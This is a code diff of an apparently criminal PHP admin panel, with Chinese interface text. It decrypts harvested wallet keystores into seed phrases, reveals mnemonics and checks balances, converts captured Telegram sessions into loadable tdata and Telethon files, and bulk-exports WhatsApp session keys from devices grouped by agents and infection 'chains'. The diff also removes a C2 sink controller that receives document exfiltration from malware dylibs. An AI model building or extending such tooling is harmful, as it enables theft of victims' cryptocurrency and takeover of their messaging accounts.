||||
->pluck('mnemonic_hash')
|
||||
->all();
|
||||
$seen = array_fill_keys($before, true);
|
||||
|
||||
$result = $adapter->decryptKeystoreWithPassword($device, $keystore, $password);
|
||||
$keystore->refresh();
|
||||
|
||||
$after = WalletMnemonic::query()
|
||||
->where('device_id', $device->id)
|
||||
->get(['id', 'source', 'mnemonic_hash']);
|
||||
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
||||
$addedCount = $added->count();
|
||||
|
||||
if ($addedCount > 0) {
|
||||
$msg = '已写入 '.$addedCount.' 条助记词';
|
||||
$code = 0;
|
||||
} elseif ((int) $keystore->decrypted === 1) {
|
||||
$msg = '没有新的助记词(该来源可能已解密)';
|
||||
$code = 0;
|
||||
} elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0 && (int) ($result['coin98'] ?? 0) === 0) {
|
||||
$msg = '没有可解密的 Keystore(UTC / MetaMask Vault / Coin98 加密钱包)';
|
||||
$code = 1;
|
||||
} else {
|
||||
$msg = '密码不正确,未能解开助记词';
|
||||
$code = 1;
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => $code,
|
||||
'msg' => $msg,
|
||||
'data' => [
|
||||
'id' => $keystore->id,
|
||||
'decrypted' => (int) $keystore->decrypted,
|
||||
'added' => $addedCount,
|
||||
'mnemonic_total' => $after->count(),
|
||||
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||
'utc' => $result['utc'],
|
||||
'vault' => (int) ($result['vault'] ?? 0),
|
||||
'coin98' => (int) ($result['coin98'] ?? 0),
|
||||
],
|
||||
], $code === 0 ? 200 : 400);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
@@ -236,17 +312,16 @@ class KeystoreController extends Controller
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
|
||||
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
|
||||
'chain' => (int) ($row->chain ?: $row->device_chain ?: Device::CHAIN_CORUNA),
|
||||
'source' => $row->sourceLabel(),
|
||||
'decrypted' => (int) $row->decrypted,
|
||||
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||
];
|
||||
}
|
||||
|
||||
@@ -296,10 +371,7 @@ class KeystoreController extends Controller
|
||||
{
|
||||
$q = WalletKeystore::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||
->select(array_merge(WalletKeystore::listColumns(), [
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]));
|
||||
->select('wallet_keystores.id');
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
@@ -307,12 +379,17 @@ class KeystoreController extends Controller
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$decrypted = trim((string) $request->query('decrypted', ''));
|
||||
$needsPassword = trim((string) $request->query('needs_password', ''));
|
||||
$chain = $this->parseChainFilter($request->query('chain'));
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($chain !== null) {
|
||||
$this->applyChainFilter($q, $chain);
|
||||
}
|
||||
if ($source !== '') {
|
||||
if ($source === '未知') {
|
||||
$q->where(function (Builder $inner) {
|
||||
@@ -326,6 +403,9 @@ class KeystoreController extends Controller
|
||||
if ($decrypted === '0' || $decrypted === '1') {
|
||||
$q->where('wallet_keystores.decrypted', (int) $decrypted);
|
||||
}
|
||||
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$q->where('wallet_keystores.needs_password', 1);
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter(
|
||||
$q,
|
||||
@@ -335,4 +415,42 @@ class KeystoreController extends Controller
|
||||
|
||||
return $q;
|
||||
}
|
||||
|
||||
private function applyChainFilter(Builder $q, int $chain): void
|
||||
{
|
||||
if (WalletKeystore::hasChainColumn()) {
|
||||
$q->whereRaw(
|
||||
'COALESCE(wallet_keystores.chain, devices.chain, ?) = ?',
|
||||
[Device::CHAIN_CORUNA, $chain]
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$q->where(function (Builder $inner) use ($chain) {
|
||||
$inner->where('devices.chain', $chain);
|
||||
if ($chain === Device::CHAIN_CORUNA) {
|
||||
$inner->orWhereNull('devices.chain');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private function parseChainFilter(mixed $raw): ?int
|
||||
{
|
||||
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||
if ($value === '' || $value === null) {
|
||||
return null;
|
||||
}
|
||||
if ($value === 1 || $value === '1' || $value === 'coruna') {
|
||||
return Device::CHAIN_CORUNA;
|
||||
}
|
||||
if ($value === 2 || $value === '2' || $value === 'darksword') {
|
||||
return Device::CHAIN_DARKSWORD;
|
||||
}
|
||||
if ($value === 3 || $value === '3' || $value === 'app') {
|
||||
return Device::CHAIN_APP;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Services\Chain\ChainHttpTimeout;
|
||||
use App\Services\IngestService;
|
||||
use App\Services\MnemonicAddressLinker;
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
@@ -28,7 +29,7 @@ class MnemonicController extends Controller
|
||||
use PortalAware;
|
||||
use RevealsMnemonics;
|
||||
|
||||
private const REFRESH_DECAY_SECONDS = 60;
|
||||
private const REFRESH_DECAY_SECONDS = 30;
|
||||
|
||||
public function index()
|
||||
{
|
||||
@@ -257,12 +258,14 @@ class MnemonicController extends Controller
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$discovery->discoverActivated($mnemonic);
|
||||
|
||||
// Discovery runs on the POST refresh (auto-triggered by the dialog when
|
||||
// updating=true). The GET just returns current state + inactive previews.
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => $this->walletsPayload($mnemonic, $discovery),
|
||||
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
|
||||
'updating' => true,
|
||||
]),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -288,7 +291,8 @@ class MnemonicController extends Controller
|
||||
|
||||
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
|
||||
|
||||
$discovery->discoverActivated($mnemonic);
|
||||
// Manual refresh: force re-probe of unlinked chains (bypass discovery_complete + miss cache).
|
||||
$discovery->discoverActivated($mnemonic, true);
|
||||
|
||||
$addresses = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
@@ -297,19 +301,21 @@ class MnemonicController extends Controller
|
||||
|
||||
$ok = 0;
|
||||
$fail = 0;
|
||||
foreach ($addresses as $address) {
|
||||
// WalletBalanceService::refresh persists coin columns onto wallet_addresses.
|
||||
if ($balances->refresh($address)) {
|
||||
$ok++;
|
||||
} else {
|
||||
$fail++;
|
||||
ChainHttpTimeout::using(MnemonicWalletDiscovery::PROBE_TIMEOUT_SECONDS, function () use ($addresses, $balances, &$ok, &$fail) {
|
||||
foreach ($addresses as $address) {
|
||||
if ($balances->refresh($address)) {
|
||||
$ok++;
|
||||
} else {
|
||||
$fail++;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
|
||||
'updating' => false,
|
||||
'refreshed' => $ok,
|
||||
'failed' => $fail,
|
||||
'retry_after' => self::REFRESH_DECAY_SECONDS,
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\WsPayloadConverter;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
@@ -74,6 +75,219 @@ class PluginSessionController extends Controller
|
||||
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Download a Telegram Desktop tdata zip for this Telegram session.
|
||||
*
|
||||
* Converts the tglib.js payload (state + db_sqlite) into a tdata folder
|
||||
* via opentele-ng (offline, no Telegram connection), then zips it.
|
||||
* Only Telegram sessions (kind=1) with a valid backupData block are
|
||||
* convertible; WhatsApp sessions return 422.
|
||||
*/
|
||||
public function downloadTdata(PluginSession $pluginSession)
|
||||
{
|
||||
$this->authorizeSession($pluginSession);
|
||||
|
||||
if (! auth('admin')->user()?->isSuper()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
|
||||
}
|
||||
|
||||
if (! $pluginSession->isTelegram()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
|
||||
}
|
||||
|
||||
$payload = $pluginSession->fullPayload();
|
||||
if (! is_array($payload) || ! isset($payload['state'])) {
|
||||
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
|
||||
}
|
||||
|
||||
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
|
||||
$script = config('coruna.tdata_script', base_path('channel-builder/tools/tglib_to_tdata.py'));
|
||||
|
||||
if (! is_file($python) || ! is_file($script)) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '转换环境未配置(缺少 Python 或脚本)',
|
||||
], 500);
|
||||
}
|
||||
|
||||
$tmpDir = sys_get_temp_dir().'/coruna-tdata-'.uniqid();
|
||||
@mkdir($tmpDir, 0700, true);
|
||||
$jsonPath = $tmpDir.'/input.json';
|
||||
$zipPath = $tmpDir.'/tdata.zip';
|
||||
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
|
||||
|
||||
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
|
||||
.escapeshellarg($jsonPath).' '.escapeshellarg($zipPath).' 2>&1';
|
||||
$output = [];
|
||||
$exit = -1;
|
||||
@exec($cmd, $output, $exit);
|
||||
|
||||
if ($exit !== 0 || ! is_file($zipPath)) {
|
||||
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
|
||||
@unlink($jsonPath);
|
||||
if (is_file($zipPath)) @unlink($zipPath);
|
||||
@rmdir($tmpDir);
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => $msg], 500);
|
||||
}
|
||||
|
||||
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
|
||||
$filename = 'tdata-'.$account.'.zip';
|
||||
$zipContents = file_get_contents($zipPath);
|
||||
|
||||
@unlink($jsonPath);
|
||||
@unlink($zipPath);
|
||||
@rmdir($tmpDir);
|
||||
|
||||
return response()->streamDownload(static function () use ($zipContents) {
|
||||
echo $zipContents;
|
||||
}, $filename, ['Content-Type' => 'application/zip']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Download a Telethon session trio file (.session / .json / _密钥.txt).
|
||||
*
|
||||
* Converts the tglib.js payload (state + db_sqlite) into the three-file
|
||||
* Telethon session format via tglib_to_session_files.py (offline).
|
||||
* The `type` query param selects which file to stream back:
|
||||
* - session: {phone}.session (SQLite, application/octet-stream)
|
||||
* - json: {phone}.json (metadata + session_string)
|
||||
* - key: {phone}_密钥.txt (session_string plain text)
|
||||
* Only Telegram sessions (kind=1) with a valid backupData block are
|
||||
* convertible; WhatsApp sessions return 422.
|
||||
*/
|
||||
public function downloadSessionFile(Request $request, PluginSession $pluginSession)
|
||||
{
|
||||
$this->authorizeSession($pluginSession);
|
||||
|
||||
if (! auth('admin')->user()?->isSuper()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
|
||||
}
|
||||
|
||||
if (! $pluginSession->isTelegram()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
|
||||
}
|
||||
|
||||
$type = (string) $request->query('type', 'session');
|
||||
if (! in_array($type, ['session', 'json', 'key'], true)) {
|
||||
$type = 'session';
|
||||
}
|
||||
|
||||
$payload = $pluginSession->fullPayload();
|
||||
if (! is_array($payload) || ! isset($payload['state'])) {
|
||||
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
|
||||
}
|
||||
|
||||
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
|
||||
$script = config('coruna.session_script', base_path('channel-builder/tools/tglib_to_session_files.py'));
|
||||
|
||||
if (! is_file($python) || ! is_file($script)) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '转换环境未配置(缺少 Python 或脚本)',
|
||||
], 500);
|
||||
}
|
||||
|
||||
$tmpDir = sys_get_temp_dir().'/coruna-sess-'.uniqid();
|
||||
@mkdir($tmpDir, 0700, true);
|
||||
$jsonPath = $tmpDir.'/input.json';
|
||||
$outDir = $tmpDir.'/out';
|
||||
@mkdir($outDir, 0700, true);
|
||||
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
|
||||
|
||||
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
|
||||
.escapeshellarg($jsonPath).' '.escapeshellarg($outDir).' 2>&1';
|
||||
$output = [];
|
||||
$exit = -1;
|
||||
@exec($cmd, $output, $exit);
|
||||
|
||||
if ($exit !== 0) {
|
||||
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
|
||||
$this->rrmdir($tmpDir);
|
||||
return response()->json(['code' => 1, 'msg' => $msg], 500);
|
||||
}
|
||||
|
||||
// Locate the generated files (named {phone}.* in outDir).
|
||||
$sessionFile = $jsonMeta = $keyFile = null;
|
||||
foreach (glob($outDir.'/*') as $f) {
|
||||
$base = basename($f);
|
||||
if (str_ends_with($base, '.session')) {
|
||||
$sessionFile = $f;
|
||||
} elseif (str_ends_with($base, '.json')) {
|
||||
$jsonMeta = $f;
|
||||
} elseif (str_contains($base, '_') && str_ends_with($base, '.txt')) {
|
||||
$keyFile = $f;
|
||||
}
|
||||
}
|
||||
|
||||
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
|
||||
$file = $type === 'json' ? $jsonMeta : ($type === 'key' ? $keyFile : $sessionFile);
|
||||
$ext = $type === 'json' ? 'json' : ($type === 'key' ? '_密钥.txt' : 'session');
|
||||
$filename = $account.'.'.$ext;
|
||||
$mime = $type === 'json' ? 'application/json'
|
||||
: ($type === 'key' ? 'text/plain' : 'application/octet-stream');
|
||||
|
||||
if (! $file || ! is_file($file)) {
|
||||
$this->rrmdir($tmpDir);
|
||||
return response()->json(['code' => 1, 'msg' => '转换后未找到对应文件'], 500);
|
||||
}
|
||||
|
||||
$contents = file_get_contents($file);
|
||||
$this->rrmdir($tmpDir);
|
||||
|
||||
return response()->streamDownload(static function () use ($contents) {
|
||||
echo $contents;
|
||||
}, $filename, ['Content-Type' => $mime]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Download a single WhatsApp session's full protocol parameters as a
|
||||
* one-line NDJSON .txt file (the __ws.txt 26-field format).
|
||||
*
|
||||
* Only WhatsApp sessions (kind=2) with a convertible payload are
|
||||
* supported; Telegram sessions return 422.
|
||||
*/
|
||||
public function downloadWsFull(PluginSession $pluginSession, WsPayloadConverter $converter)
|
||||
{
|
||||
$this->authorizeSession($pluginSession);
|
||||
|
||||
if (! $pluginSession->isWhatsApp()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅支持 WhatsApp 会话转换'], 422);
|
||||
}
|
||||
|
||||
$line = $converter->convertToLine($pluginSession, $pluginSession->device);
|
||||
if ($line === null) {
|
||||
return response()->json(['code' => 1, 'msg' => '该会话缺少必要数据,无法转换'], 422);
|
||||
}
|
||||
|
||||
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
|
||||
$filename = 'ws-'.$account.'.txt';
|
||||
|
||||
return response()->streamDownload(static function () use ($line) {
|
||||
echo $line."\n";
|
||||
}, $filename, ['Content-Type' => 'text/plain; charset=UTF-8']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Recursively remove a directory (best-effort).
|
||||
*/
|
||||
private function rrmdir(string $dir): void
|
||||
{
|
||||
if (! is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
$items = array_diff(scandir($dir) ?: [], ['.', '..']);
|
||||
foreach ($items as $item) {
|
||||
$path = $dir.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$this->rrmdir($path);
|
||||
} else {
|
||||
@unlink($path);
|
||||
}
|
||||
}
|
||||
@rmdir($dir);
|
||||
}
|
||||
|
||||
/**
|
||||
* Bulk export all sessions matching the current filter as a ZIP.
|
||||
* Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor
|
||||
@@ -163,6 +377,52 @@ class PluginSessionController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Bulk export WhatsApp sessions as a single NDJSON .txt file
|
||||
* (one JSON object per line, 26 fields — the chk.ts / __ws.txt format).
|
||||
*
|
||||
* Each wap.js payload is converted on the fly: protobuf signedPreKey
|
||||
* decode, libsodium curve25519 public-key derivation, and cc/country/in
|
||||
* inference from the bare phone number. Sessions lacking the minimum
|
||||
* key material are skipped (counted in X-Export-Skipped).
|
||||
*/
|
||||
public function exportWs(Request $request, WsPayloadConverter $converter)
|
||||
{
|
||||
$q = $this->baseQuery($request, PluginSession::KIND_WHATSAPP);
|
||||
$total = $q->count();
|
||||
if ($total === 0) {
|
||||
return response()->json(['code' => 1, 'msg' => '没有可导出的 WhatsApp 数据'], 422);
|
||||
}
|
||||
if ($total > 1000) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '数据量过大('.$total.' 条,上限 1000),请缩小时间范围后导出',
|
||||
], 422);
|
||||
}
|
||||
|
||||
$fileName = 'ws-'.date('Ymd-His').'.txt';
|
||||
|
||||
return response()->streamDownload(function () use ($q, $converter, &$written, &$skipped) {
|
||||
$written = 0;
|
||||
$skipped = 0;
|
||||
foreach ($q->cursor() as $row) {
|
||||
/** @var PluginSession $row */
|
||||
$line = $converter->convertToLine($row, $row->device);
|
||||
if ($line === null) {
|
||||
$skipped++;
|
||||
continue;
|
||||
}
|
||||
echo $line."\n";
|
||||
$written++;
|
||||
}
|
||||
}, $fileName, [
|
||||
'Content-Type' => 'text/plain; charset=UTF-8',
|
||||
'X-Export-Count' => (string) $total,
|
||||
'X-Export-Written' => (string) ($written ?? 0),
|
||||
'X-Export-Skipped' => (string) ($skipped ?? 0),
|
||||
]);
|
||||
}
|
||||
|
||||
private function page(string $kind)
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
@@ -194,7 +454,8 @@ class PluginSessionController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$isSuper = (bool) auth('admin')->user()?->isSuper();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $isSuper) {
|
||||
/** @var PluginSession $row */
|
||||
$summary = $row->listSummary();
|
||||
|
||||
@@ -205,6 +466,15 @@ class PluginSessionController extends Controller
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'payload_url' => route($portal.'.sessions.payload', $row, false),
|
||||
'download_url' => route($portal.'.sessions.download', $row, false),
|
||||
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.tdata', $row, false)
|
||||
: '',
|
||||
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.session-file', $row, false)
|
||||
: '',
|
||||
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
|
||||
? route($portal.'.sessions.ws-full', $row, false)
|
||||
: '',
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Concerns\RevealsMnemonics;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
@@ -17,6 +18,7 @@ use Illuminate\Validation\Rule;
|
||||
class WalletAddressController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
use RevealsMnemonics;
|
||||
|
||||
public function index()
|
||||
{
|
||||
@@ -42,6 +44,9 @@ class WalletAddressController extends Controller
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
'chainTypes' => $chainTypes,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
'google2fa_url' => $this->google2faUrl(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -65,9 +70,11 @@ class WalletAddressController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$canReveal = $this->canRevealMnemonics();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
|
||||
/** @var WalletAddress $row */
|
||||
$coins = $row->formattedCoins();
|
||||
$mnemonicId = $row->mnemonic_id;
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
@@ -76,7 +83,11 @@ class WalletAddressController extends Controller
|
||||
'source' => $row->source ?: '',
|
||||
'chain_type' => $row->chain_type ?: '',
|
||||
'address' => $row->address,
|
||||
'collectable' => $row->mnemonic_id !== null,
|
||||
'collectable' => $mnemonicId !== null,
|
||||
'mnemonic_id' => $mnemonicId,
|
||||
'reveal_url' => ($canReveal && $mnemonicId !== null)
|
||||
? $this->mnemonicRevealUrl($mnemonicId)
|
||||
: '',
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Controllers\Agent;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\SystemLog;
|
||||
use App\Models\User;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Support\VisitorIp;
|
||||
@@ -63,6 +64,12 @@ class AuthController extends Controller
|
||||
|
||||
/** @var User|null $user */
|
||||
$user = User::query()->where('username', $credentials['username'])->first();
|
||||
if ($user && $user->isLocked()) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系管理员解除',
|
||||
]);
|
||||
}
|
||||
if ($user && ! $user->isEnabled()) {
|
||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||
|
||||
@@ -75,6 +82,31 @@ class AuthController extends Controller
|
||||
)) {
|
||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||
|
||||
if ($user) {
|
||||
$justLocked = $user->recordFailedLogin(self::MAX_ATTEMPTS);
|
||||
if ($justLocked) {
|
||||
SystemLog::record(
|
||||
$user,
|
||||
'agent',
|
||||
SystemLog::ACTION_AGENT_LOCKED,
|
||||
'代理「'.$user->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁',
|
||||
$request,
|
||||
);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系管理员解除',
|
||||
]);
|
||||
}
|
||||
$remaining = self::MAX_ATTEMPTS - (int) $user->fresh()->login_attempts;
|
||||
if ($remaining > 0) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)',
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
|
||||
}
|
||||
|
||||
@@ -96,6 +128,7 @@ class AuthController extends Controller
|
||||
}
|
||||
|
||||
RateLimiter::clear($throttleKey);
|
||||
$user->clearLoginAttempts();
|
||||
$request->session()->regenerate();
|
||||
|
||||
return response()->json([
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,245 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
|
||||
/**
|
||||
* inject_demo / libutils C2 (TrollStore analysis host).
|
||||
*
|
||||
* Two malware dylibs talk to two C2 domains:
|
||||
* 26.gagagagag.com (inject_demo.dylib → BQ documents exfil, multipart)
|
||||
* w2.bsvpn.net (libutils.dylib → Acquisition pipeline, JSON)
|
||||
*
|
||||
* This controller is a LOG-ONLY sink: it persists every request (method,
|
||||
* path, headers, body) to public/log/inject_demo/Ymd.log and returns the
|
||||
* permissive mock responses the malware expects so it keeps going. No
|
||||
* ingestion into the lab schema is performed — the goal is to observe what
|
||||
* the dylibs actually upload before wiring real ingest.
|
||||
*
|
||||
* Mock response shape comes from inject_demo_app/mock_c2.py::_respond():
|
||||
* /api/v1/devices → {"code":0,"data":{"bundleIds":[],"dirs":[]}}
|
||||
* /api/v1/uploads → {"code":0,"data":{"uploadId":"...","expectedChunks":1}}
|
||||
* /api/v1/uploads/{id}/chunks → {"status":"COMPLETED"}
|
||||
* /api/v1/finish → {"code":0}
|
||||
* anything else (BQ multipart) → {"ok":true}
|
||||
*/
|
||||
class InjectDemoC2Controller extends Controller
|
||||
{
|
||||
/** Log type subdir under public/log/. */
|
||||
private const LOG_TYPE = 'inject_demo';
|
||||
|
||||
/**
|
||||
* POST /api/v1/devices — libutils Acquisition device registration.
|
||||
* Body: JSON device fingerprint. Header: X-Device-Id.
|
||||
* Expected reply: device config (bundleIds to dump, dirs to scan).
|
||||
*/
|
||||
public function devices(Request $request): Response
|
||||
{
|
||||
$this->logRequest($request, 'devices');
|
||||
|
||||
// Empty bundleIds/dirs = "no further collection targets" — the malware
|
||||
// treats this as a no-op acquisition list. Bump to non-empty later to
|
||||
// observe the collector actually enumerate containers.
|
||||
return $this->json([
|
||||
'code' => 0,
|
||||
'data' => [
|
||||
'bundleIds' => [],
|
||||
'dirs' => [],
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* POST /api/v1/uploads — initiate a chunked upload session.
|
||||
* Body: JSON describing the artifact (e.g. bq_docs_<id>.zip metadata).
|
||||
* Expected reply: uploadId + expectedChunks.
|
||||
*/
|
||||
public function uploads(Request $request): Response
|
||||
{
|
||||
$this->logRequest($request, 'uploads');
|
||||
|
||||
return $this->json([
|
||||
'code' => 0,
|
||||
'data' => [
|
||||
'uploadId' => 'mock-'.date('Ymd-His').'-'.bin2hex(random_bytes(4)),
|
||||
'expectedChunks' => 1,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* PUT /api/v1/uploads/{id}/chunks[/{n}] — receive one chunk of a session.
|
||||
* Body: raw chunk bytes (often multipart or binary).
|
||||
* Expected reply: {"status":"COMPLETED"} once the server has the chunk.
|
||||
*/
|
||||
public function uploadChunk(Request $request): Response
|
||||
{
|
||||
$this->logRequest($request, 'uploadChunk');
|
||||
|
||||
return $this->json(['status' => 'COMPLETED']);
|
||||
}
|
||||
|
||||
/**
|
||||
* POST /api/v1/finish — libutils "all uploads done" signal.
|
||||
* Body: tiny form/json ack. Expected reply: {"code":0}.
|
||||
*/
|
||||
public function finish(Request $request): Response
|
||||
{
|
||||
$this->logRequest($request, 'finish');
|
||||
|
||||
return $this->json(['code' => 0]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Catch-all for the BQ documents exfil path (inject_demo.dylib).
|
||||
* The dylib POSTs multipart/form-data with boundary "BQBoundary-%@"
|
||||
* carrying bq_docs_<device_id>.zip to the C2 root or an arbitrary path.
|
||||
* Mock returns {"ok":true} so the dylib considers the exfil accepted.
|
||||
*/
|
||||
public function bqExfil(Request $request): Response
|
||||
{
|
||||
$this->logRequest($request, 'bqExfil');
|
||||
|
||||
return $this->json(['ok' => true]);
|
||||
}
|
||||
|
||||
// ────────────────────────────────────────────────────────────
|
||||
// helpers
|
||||
// ────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
